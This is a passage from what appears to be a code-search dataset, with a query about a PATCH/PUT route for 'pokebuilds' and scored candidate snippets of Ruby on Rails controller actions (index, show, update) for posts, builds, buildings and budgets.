"docid": "158a22950e9addba970efa987b9e29b2",
"score": "0.5991683",
"text": "def index\n @posts = Post.find(:all, :order => \"created_at DESC\")\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "b968d25ed4dd67f1109a4dba38e7aee6",
"score": "0.59815633",
"text": "def index\n @posts = Post.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "c853d160df6231f99e9fda67326766b2",
"score": "0.5961538",
"text": "def index\n\t\t@posts = Post.find(:all, :order\t=> \"created_at DESC\")\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml\t{ render :xml => @posts }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5a0ffa8790295632334d3b8bbd595560",
"score": "0.5958104",
"text": "def index\n @posts = Post.find(:all, :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "e743f1accf58eb3a814ffb17b85e7586",
"score": "0.5950662",
"text": "def index\n @posts = Post.published.page(params[:page]).per(5).ordered\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "d1a309bb8d19081282d64063ea73301f",
"score": "0.5946307",
"text": "def show\n @post200 = Post200.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post200 }\n end\n end",
"title": ""
},
{
"docid": "da6558314e623a55cc7bcce040717f89",
"score": "0.5945335",
"text": "def rss\n @posts = []\n results = QuerySupport::query(params)\n results[:results].each do |result|\n @posts << result if result.kind == Note::KIND_POST\n end\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n render :layout => false\n end",
"title": ""
},
{
"docid": "eef920183c20dc51afad917c587e1eef",
"score": "0.5944966",
"text": "def index\n\t\t@posts = Post.live.all#(:include => :tags)\n\n\t\trespond_to do |wants|\n\t\t\twants.html # index.html.erb\n\t\t\twants.xml\t{ render :xml => @posts }\n\t\t\twants.atom # index.atom.builder\n\t\tend\n\tend",
"title": ""
},
{
"docid": "138852ad1e229a6f2db2ef90a2c6119f",
"score": "0.5939501",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "138852ad1e229a6f2db2ef90a2c6119f",
"score": "0.5939501",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "261577393c9d2c60a8345fe952981b49",
"score": "0.59384745",
"text": "def show\n @post198 = Post198.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post198 }\n end\n end",
"title": ""
},
{
"docid": "1793606c04d936a161ed5f7db4e3f8f2",
"score": "0.5937375",
"text": "def show\n @post195 = Post195.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post195 }\n end\n end",
"title": ""
},
{
"docid": "b40849119b0ab16d2b94b8f7747ce14a",
"score": "0.593224",
"text": "def index\n @posts = Post.all(:order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n\n format.atom { render :layout => false }\n format.rss { redirect_to posts_url(:format => :atom), :status => :moved_permanently }\n end\n end",
"title": ""
},
{
"docid": "e1cc74436caae74b8ed11eeec2f1f60f",
"score": "0.5923628",
"text": "def show\n @annual_budget = AnnualBudget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @annual_budget }\n end\n end",
"title": ""
},
{
"docid": "21010d5f0de01c7d2f84f94603c35fa7",
"score": "0.59183294",
"text": "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @budget }\n end\n end",
"title": ""
},
{
"docid": "6515aa4861c08081bbcd12fa7f6e50e8",
"score": "0.5916818",
"text": "def index\n @elements = @post.elements.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @elements }\n end\n end",
"title": ""
},
{
"docid": "38f49e088b9cea5b9ce57146c4e0c8b0",
"score": "0.59148866",
"text": "def index\n @posts = Post.order(\"created_at DESC\").page(params[:page]).per(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "f2ee44b73f3580e5827c66df384c7905",
"score": "0.5913407",
"text": "def list\n @posts = Post.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "4deb790f66e8dcbcb44c1415fa7a7650",
"score": "0.590645",
"text": "def show\n @post429 = Post429.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post429 }\n end\n end",
"title": ""
},
{
"docid": "ff7ca453f53ad23e04fa46700c704cbd",
"score": "0.59021264",
"text": "def show\n @post166 = Post166.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post166 }\n end\n end",
"title": ""
},
{
"docid": "4d0c03a5f67385b02562013b53643734",
"score": "0.58977824",
"text": "def index\n @posts=@blog.posts.published.paginate(:per_page=>10,:page => params[:page], :order => 'publish_on DESC, created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "88da84250c92d2837c0a26049b27762d",
"score": "0.5894791",
"text": "def index\n @posts = Post.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n format.json { render :json => @posts}\n format.atom\n end\n end",
"title": ""
},
{
"docid": "94c0b647004103096be3f15ad65f4a3d",
"score": "0.58939946",
"text": "def show\n @posts = Financial.find(params[:id]).posts\n end",
"title": ""
},
{
"docid": "874d04a9c7fef2bed1eae6067253e8d3",
"score": "0.58811104",
"text": "def show\n @post172 = Post172.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post172 }\n end\n end",
"title": ""
},
{
"docid": "b975b6731b0bc8ce2369d0e4530d7dbc",
"score": "0.5879197",
"text": "def index\n #@posts = Post.select(\"title, permalink, created_at\").order(\"id DESC\").limit(@@recent)\n @posts = Post.order(\"id DESC\").all\n #@posts = Post.page(params[:page]).order(\"id DESC\")\n \n #@posts = Post.select(\"title, permalink, created_at\").order(\"id DESC\").all\n post = Post.order(\"id DESC\").limit(1)\n @post = post[0]\n @post_title = @post.title\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n format.rss { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "87b0c46fe959d71eea798440fa037208",
"score": "0.5878171",
"text": "def show\n @post = @item.posts.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "87b0c46fe959d71eea798440fa037208",
"score": "0.5877413",
"text": "def show\n @post = @item.posts.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "0e16aedd665e1a91972d4719cb8ebf1b",
"score": "0.5876352",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb \n format.json { render json: @posts } \n format.xml { render xml: @posts} \n format.atom #index.atom.builder\n end\n end",
"title": ""
},
{
"docid": "4265b3c67829b409804705cad7ed6232",
"score": "0.5876291",
"text": "def index\n @api_v1_budgets = Api::V1::Budget.all\n end",
"title": ""
},
{
"docid": "e4c4f72d2bcde0d9033129a0052c8359",
"score": "0.58760184",
"text": "def index\n @blog_entries = BlogEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blog_entries }\n end\n end",
"title": ""
},
{
"docid": "26c6690dc11d9fb64900bdeacf7d0193",
"score": "0.5875238",
"text": "def show\n @post338 = Post338.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post338 }\n end\n end",
"title": ""
},
{
"docid": "3a0a4e93eb48245feaee56bbe7618eb7",
"score": "0.5871836",
"text": "def show\n @post467 = Post467.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post467 }\n end\n end",
"title": ""
},
{
"docid": "584c1fbe24eb8fece6adeb22d32d2706",
"score": "0.58681726",
"text": "def show\n @blogpost = Blogpost.find(params[:id])\n\n @title = \"Blog Details\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @blogpost }\n end\n end",
"title": ""
},
{
"docid": "77120d36f5bb92237c252add9b1cd691",
"score": "0.5863116",
"text": "def show\n @post300 = Post300.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post300 }\n end\n end",
"title": ""
},
{
"docid": "2162e83f2abeeb2c4550499594aabc96",
"score": "0.5856933",
"text": "def show\n @post = Post.find(params[:id].to_i)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "a8b187dab7b6d3c00d8f78e1db790a56",
"score": "0.5855491",
"text": "def show\n @rss_post = RssPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rss_post }\n end\n end",
"title": ""
},
{
"docid": "04598b492764e0b2d145581a3fe4f2b9",
"score": "0.5854163",
"text": "def show\n @budgets_budget_supply = Budgets::BudgetSupply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budgets_budget_supply }\n end\n end",
"title": ""
},
{
"docid": "556fa2c0064449d8b0739ee143275b36",
"score": "0.5845958",
"text": "def show\n @post0 = Post0.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post0 }\n end\n end",
"title": ""
},
{
"docid": "7d29b638e9b4e880e0b03aafbf0456d4",
"score": "0.5841396",
"text": "def show\n @post442 = Post442.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post442 }\n end\n end",
"title": ""
},
{
"docid": "16fc2d9aa21cc0ed3db4b14d0bce2c26",
"score": "0.5838651",
"text": "def show\n @post466 = Post466.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post466 }\n end\n end",
"title": ""
},
{
"docid": "f3a27d7cdfe1be04b2319fd18fd0fb37",
"score": "0.58374566",
"text": "def index\n @blogposts = Blogpost.search(params[:search], params[:page])\n \n @title = \"Blogposts\" \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blogposts }\n format.rss { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "e03022c24befb2baf85983257aafa262",
"score": "0.5836487",
"text": "def show\n @post80 = Post80.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post80 }\n end\n end",
"title": ""
},
{
"docid": "ffa60fbf9985693a00a16117a9e1d016",
"score": "0.58282626",
"text": "def show\n @post308 = Post308.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post308 }\n end\n end",
"title": ""
},
{
"docid": "7fe0d38f70b184e26e36371532091506",
"score": "0.58270764",
"text": "def index\n @budgets = Budget.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "25a71f4e99b932e6be094421d675f7d5",
"score": "0.58267933",
"text": "def show\n @post185 = Post185.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post185 }\n end\n end",
"title": ""
},
{
"docid": "0daade15ffa06b9e7c8824cb1f50196d",
"score": "0.58261555",
"text": "def index\n @blog_entries = BlogEntry.find(:all, :order => 'created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blog_entries }\n end\n end",
"title": ""
},
{
"docid": "3bf9389d75370ba70e6a4dcc163baf92",
"score": "0.58182573",
"text": "def show\n @weblog = Weblog.find(params[:id])\n @posts = @weblog.posts.find(:all,:conditions => [\"published = ?\", true])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @weblog }\n end\n end",
"title": ""
},
{
"docid": "11ab60f12d5372e1a424aad4322d0043",
"score": "0.5813389",
"text": "def index\n @posts = Post.where(\"published_at <= ?\", Time.now).order(\"published_at desc\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts}\n end\n end",
"title": ""
},
{
"docid": "2f188f0e9efe991f544bad3a3ce346b5",
"score": "0.58068115",
"text": "def show\n @post42 = Post42.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post42 }\n end\n end",
"title": ""
},
{
"docid": "e2ceda7d4a986ecfb5b6e3a48403ac09",
"score": "0.5806174",
"text": "def rss\n @answers = Answer.find :all, :order => 'answers.created_at DESC', :limit => 20\n\n respond_to do |format|\n format.xml\n end\n end",
"title": ""
},
{
"docid": "fbc257d47ca5b93dfc95d028428b3c98",
"score": "0.58018357",
"text": "def index\n @budgets = @client.budgets.all.order(created_at: :desc).page(params[:page]).per(20)\n end",
"title": ""
},
{
"docid": "30445b87960b8bcf5b97fa1b7b3b2ca4",
"score": "0.57988673",
"text": "def show\n @post153 = Post153.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post153 }\n end\n end",
"title": ""
},
{
"docid": "704e2eb293cea899b342e58de50d1628",
"score": "0.57958657",
"text": "def show\n @post247 = Post247.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post247 }\n end\n end",
"title": ""
},
{
"docid": "f400eca52f0646aa96830122a77270ab",
"score": "0.57932407",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "687952f9f9c43132aa80ad5850397335",
"score": "0.5792329",
"text": "def index\n @blog_posts = BlogPost.find(:all).reverse\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :action => 'latest_blog_posts', :layout => false }\n end\n end",
"title": ""
},
{
"docid": "8c8284045d7647d6d951615bd0024acc",
"score": "0.5790418",
"text": "def show\n @post462 = Post462.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post462 }\n end\n end",
"title": ""
},
{
"docid": "0ffa26a4c3eb1af64831f4ff251ee7f2",
"score": "0.57903725",
"text": "def show\n @post204 = Post204.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post204 }\n end\n end",
"title": ""
},
{
"docid": "d0cadc07f49bd1e0d46bb0c21d76d942",
"score": "0.5786784",
"text": "def show\n @post178 = Post178.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post178 }\n end\n end",
"title": ""
},
{
"docid": "ff1978ab8e7db0d58f4453279412f3b5",
"score": "0.57857466",
"text": "def show\n @post250 = Post250.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post250 }\n end\n end",
"title": ""
},
{
"docid": "551f79697bf3f1ddde07a589edc6bd5f",
"score": "0.578446",
"text": "def show\n @post_it = PostIt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post_it }\n end\n end",
"title": ""
},
{
"docid": "4c1521ba0e17eb03edfac1142cdcbc69",
"score": "0.5782176",
"text": "def show\n @post201 = Post201.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post201 }\n end\n end",
"title": ""
},
{
"docid": "24a50a73925753901fc84be0f05e5e15",
"score": "0.5780791",
"text": "def show\n @post482 = Post482.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post482 }\n end\n end",
"title": ""
},
{
"docid": "c661d64b43eed02206d8f8b1eeefd897",
"score": "0.57789725",
"text": "def index\n @forum_posts = @forum.forum_posts.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @forum_posts.to_xml }\n end\n end",
"title": ""
},
{
"docid": "d7de0a215dd271814896a0f4a6223011",
"score": "0.57757396",
"text": "def show\n @post277 = Post277.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post277 }\n end\n end",
"title": ""
},
{
"docid": "3aa2f129fedc80fad961fc740566baf0",
"score": "0.5771624",
"text": "def show\n @post207 = Post207.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post207 }\n end\n end",
"title": ""
},
{
"docid": "919dcbb4bfaecc603501fbfd5fd1bac3",
"score": "0.5769941",
"text": "def show\n @post307 = Post307.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post307 }\n end\n end",
"title": ""
}
] |
f5716e96da39a071b72fe5fa2d8e8d35 | PATCH/PUT /pokebuilds/1 PATCH/PUT /pokebuilds/1.json | [
{
"docid": "b84c7278aeb16521d167b94101bb5530",
"score": "0.6258649",
"text": "def update\n respond_to do |format|\n if @pokebuild.update(pokebuild_params)\n format.html { redirect_to @pokebuild, notice: '編集しました' }\n format.json { render :show, status: :ok, location: @pokebuild }\n else\n format.html { render :edit }\n format.json { render json: @pokebuild.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "e7c70fa38921cafae8b55adb919170be",
"score": "0.65620524",
"text": "def build_fixed(build, previous_build)\n rest_put build, :current_status => :success\n end",
"title": ""
},
{
"docid": "f71faab24bf890dd4b924134db7d6e81",
"score": "0.629183",
"text": "def update\n respond_to do |format|\n if @my_build.update(my_build_params)\n format.html { redirect_to @my_build, notice: 'My build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @my_build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb9cdf9d5271d5c890404ba42c3cbae5",
"score": "0.6245276",
"text": "def update\n @build_object = BuildObject.find(params[:id])\n\n respond_to do |format|\n if @build_object.update_attributes(params[:build_object])\n format.html { redirect_to @build_object, notice: 'Build object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1006f5bf21eb7b4c5c86b214c9be369d",
"score": "0.6215883",
"text": "def update\n respond_to do |format|\n if @build.update(build_params)\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { render :show, status: :ok, location: @build }\n else\n format.html { render :edit }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1006f5bf21eb7b4c5c86b214c9be369d",
"score": "0.6215883",
"text": "def update\n respond_to do |format|\n if @build.update(build_params)\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { render :show, status: :ok, location: @build }\n else\n format.html { render :edit }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3762305e7f8c6bc1fcbdfd2b378e55af",
"score": "0.6181733",
"text": "def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3762305e7f8c6bc1fcbdfd2b378e55af",
"score": "0.6181733",
"text": "def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3541335681c22cc3b03ae52893dbd483",
"score": "0.61770594",
"text": "def update\n @build = Build.find(params[:id])\n @build.branch = Branch.find(params[:branch_id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to :action => :index, :notice => 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @build.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "768c995decd97ba7e4c249a7138f4e96",
"score": "0.61758214",
"text": "def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b76dc8a5b88ecf9c4d6f5c33fd480563",
"score": "0.6171931",
"text": "def update\n @build = build_type.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7f658a9427b6cacc431d002b2aa806f",
"score": "0.6161685",
"text": "def update\n render json: @building.errors unless @building.update(building_params)\n end",
"title": ""
},
{
"docid": "36d6f87c062b0b651cde7cfda70d14cb",
"score": "0.60898536",
"text": "def update\n @building = Building.find(params[:id])\n\n if @building.update(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "18a42ec33d9ca72621abd363bf23d422",
"score": "0.6078928",
"text": "def update\n respond_to do |format|\n if @build.update(build_params)\n format.html { redirect_to product_version_build_path(@product,@version,@build), notice: 'Build was successfully updated.' }\n format.json { render :show, status: :ok, location: @build }\n else\n format.html { render :edit }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.6058557",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "882c8317370987b86425c0adbf5bfe8c",
"score": "0.586357",
"text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "3683b6c440447d1a4bd410ecdf1eda27",
"score": "0.5863519",
"text": "def update\n blacklist = [:pull_requests, :created_at, :updated_at]\n blacklist.each { |field| params[:repo].delete(field) }\n\n @repo = Repo.find(params[:id])\n\n respond_to do |format|\n if @repo.update_attributes(params[:repo])\n format.json { head :no_content }\n else\n format.json { render json: @repo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc4b6103eb6902b3843a13c16c37fc1c",
"score": "0.5819258",
"text": "def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a4e0aa8f728c2ea64620811b9d48ae3",
"score": "0.58109546",
"text": "def update\n respond_to do |format|\n if @prebuilt.update(prebuilt_params)\n format.html { redirect_to @prebuilt, notice: 'Prebuilt was successfully updated.' }\n format.json { render :show, status: :ok, location: @prebuilt }\n else\n format.html { render :edit }\n format.json { render json: @prebuilt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "61084dea2bf8053f664d1286617fb8bb",
"score": "0.5804399",
"text": "def update\n @built = Built.find(params[:id])\n\n respond_to do |format|\n if @built.update_attributes(params[:built])\n format.html { redirect_to(@built, :notice => 'Build was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @built.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8289a801b7407e13654599e968a2daa3",
"score": "0.57989097",
"text": "def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to(@build, :notice => 'Build was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @build.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "249d4fdfb1fc0c681eca504cd930f289",
"score": "0.5791477",
"text": "def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66a93f47189fc68e1ae9ce4ff5ad7ec2",
"score": "0.5756",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= builder.content_type\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "5b874c37e750cddf70a960f9ed3e5096",
"score": "0.57500225",
"text": "def update\n return unless (build = Build.find_by(name: args.name))\n\n crud_with(build)\n end",
"title": ""
},
{
"docid": "6bd80e1cb55f02adcc01e495d365f4b5",
"score": "0.57382834",
"text": "def update\n render json: @building_level.errors unless @building_level.update(building_level_params)\n end",
"title": ""
},
{
"docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5",
"score": "0.5714935",
"text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "03fb34c8f5e3b9efcfd5cc49bcdb3694",
"score": "0.5694763",
"text": "def update\n respond_to do |format|\n if @very_building.update(very_building_params)\n format.html { redirect_to @very_building, notice: 'Very building was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @very_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03fb34c8f5e3b9efcfd5cc49bcdb3694",
"score": "0.5694763",
"text": "def update\n respond_to do |format|\n if @very_building.update(very_building_params)\n format.html { redirect_to @very_building, notice: 'Very building was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @very_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4273bba8af91f184fa7d42100d7dca6c",
"score": "0.56697255",
"text": "def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46a5d909fd8be70f8bc4d26c737395e3",
"score": "0.5668901",
"text": "def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46a5d909fd8be70f8bc4d26c737395e3",
"score": "0.5668901",
"text": "def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.56678253",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.56678253",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "a5f6d696b9a6cd933c145a6a6a5d7140",
"score": "0.56671077",
"text": "def update\n @root = \"projects\"\n @branch = \"new\" \n \n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2651d8d4cc4e045a2fc2d71dd6c5af42",
"score": "0.5656851",
"text": "def update\n @building = Building.find(params[:id])\n\n respond_to do |format|\n if @building.update_attributes(params[:building])\n format.html { redirect_to buildings_url, notice: 'building was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "507d29a7a6f813d93ea0d066c8911c35",
"score": "0.563563",
"text": "def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n # format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n # format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4be97b3d7f8ce4a26f23d7bbd1a63735",
"score": "0.56289107",
"text": "def update\n @building = Building.find(params[:id])\n\n respond_to do |format|\n if @building.update_attributes(params[:building])\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "562ed0153934320ed2fd519cb1256d22",
"score": "0.5620732",
"text": "def update\n respond_to do |format|\n if @building_master.update(building_master_params)\n format.html { redirect_to @building_master, notice: 'Building master was successfully updated.' }\n format.json { render :show, status: :ok, location: @building_master }\n else\n format.html { render :edit }\n format.json { render json: @building_master.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.5619174",
